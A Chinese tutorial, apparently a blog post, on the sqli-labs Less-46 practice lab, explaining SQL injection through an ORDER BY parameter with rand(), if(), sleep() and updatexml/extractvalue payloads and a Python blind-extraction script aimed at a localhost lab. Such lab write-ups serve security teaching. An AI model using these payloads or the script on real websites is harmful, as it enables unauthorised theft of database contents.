SQL注入漏洞解析--less-46

我们先看一下46关

他说让我们先输入一个数字作为sort,那我们就先输入数字看一下

当我们分别输入1,2,3可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式

当输入'时出现报错提示,说明从在注入点,可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。

同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。

判断注入类型:

ok,所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,

而用rand()会显示不同的排序结果,当在字符型中用?sort=rand(),则不会有效果,排序不会改变,因此用rand()可判断注入点类型

注入方式:

基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

复制代码
order by rand(表达式)

当表达式true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。 例:

复制代码
order by rand(ascii(mid((select database()),1,1))>114)

同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

?sort=rand(true)

?sort=rand(false)

可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

?sort=rand(ascii(mid((select database()),1,1))>114)

?sort=rand(ascii(mid((select database()),1,1))>115)

对照上边的结果就可以发现当为114是为真,当为115是成假;这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

python 复制代码
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencode

url1 = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php'


def orderby_inject_database(url1):
    name=""
    for i in range(1,20):
        low =32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
            res = {"sort": payload}
            r = requests.get(url1,params=res)
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getUsername = soup.find_all('td')[1].text
            if getUsername == 'admin3':
                 low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name += chr(mid)
        print(name)

orderby_inject_database(url1)

这样我们最终就拿到数据库名称,后边就是一样的操作了。

order by注入

什么是order by

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下

复制代码
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

假设有以下用户表

当我们使用命令 select * from users order by username asc;的时候,是将users这张表按照username这一列进行升序,结果就变成了;可以看到username那一列是按照字母从小到大的方式进行排序。

将asc修改desc后,它就会按username降序打印。

mysql中order by还支持多个字段自定义排序,通过逗号隔开,但只能在数字之间进行自定义排序,若选择字符类型则会根据第一个列名的排序规则进行排序。 语法格式如下

复制代码
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) ,列名(或者数字) desc;降序(默认升序)

而order by注入就是通过可控制的位置在order by子句后,如下order参数可控: select * from goods order by $_GET['order']

判断注入类型

数字型order by注入时,语句order by=2 and 1=2,和order by=2 and 1=1显示的结果一样,所以无法用来判断注入点类型

而用rand()会显示不同的排序结果

当在字符型中用?sort=rand(),则不会有效果,排序不会改变

因此用rand()可判断注入点类型

注入方式

1.和union查询一块使用

前面经常利用order by子句进行快速猜解表中的列数

测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。

再配合使用union select语句进行回显。

2.基于if语句盲注(数字型)

下面的语句只有order=$id,数字型注入时才能生效,

order ='$id'导致if语句变成字符串,功能失效

如下图为演示

字符串型时if()失效,排列顺序不改变

数字型时排列顺序改变

知道列名情况下 if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图语句没有根据password排序。

这是在知道列名的前提下使用

复制代码
?order=if(表达式,id,username)
  • 表达式为true时,根据id排序

  • 表达式为false是,根据username排序

不知道列名的情况 id总知道吧

复制代码
?order=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常的页面

  • 如果表达式为false,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空

3.基于时间的盲注

复制代码
order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示

  • 表达式为false时,会延迟一段时间显示

延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。

计算公式:延迟时间=sleep(1)的秒数*所查询数据条数

如果查询的数据很多时,延迟的时间就会特别长

在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

4.基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

复制代码
order by rand(表达式)

当表达式true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。 例:

复制代码
order by rand(ascii(mid((select database()),1,1))>96)

5.报错注入

复制代码
order by updatexml(1,if(1=2,1,(表达式)),1)
order by extractvalue(1,if(1=2,1,(表达式)));

因为1=2,所以执行表达式内容

例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)获取数据库名

若改成1=1,则页面正常显示

相关推荐
Elastic 中国社区官方博客15 分钟前
使用 Elasticsearch 导航检索增强生成图表
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·全文检索
小金的学习笔记19 分钟前
RedisTemplate和Redisson的使用和区别
数据库·redis·缓存
新知图书34 分钟前
MySQL用户授权、收回权限与查看权限
数据库·mysql·安全
文城52144 分钟前
Mysql存储过程(学习自用)
数据库·学习·mysql
沉默的煎蛋1 小时前
MyBatis 注解开发详解
java·数据库·mysql·算法·mybatis
呼啦啦啦啦啦啦啦啦1 小时前
【Redis】事务
数据库·redis·缓存
HaoHao_0101 小时前
AWS Serverless Application Repository
服务器·数据库·云计算·aws·云服务器
C语言扫地僧1 小时前
MySQL 事务及MVCC机制详解
数据库·mysql
小镇cxy1 小时前
MySQL事物,MVCC机制
数据库·mysql
书生-w2 小时前
Redis Windows 解压版安装
数据库·windows·redis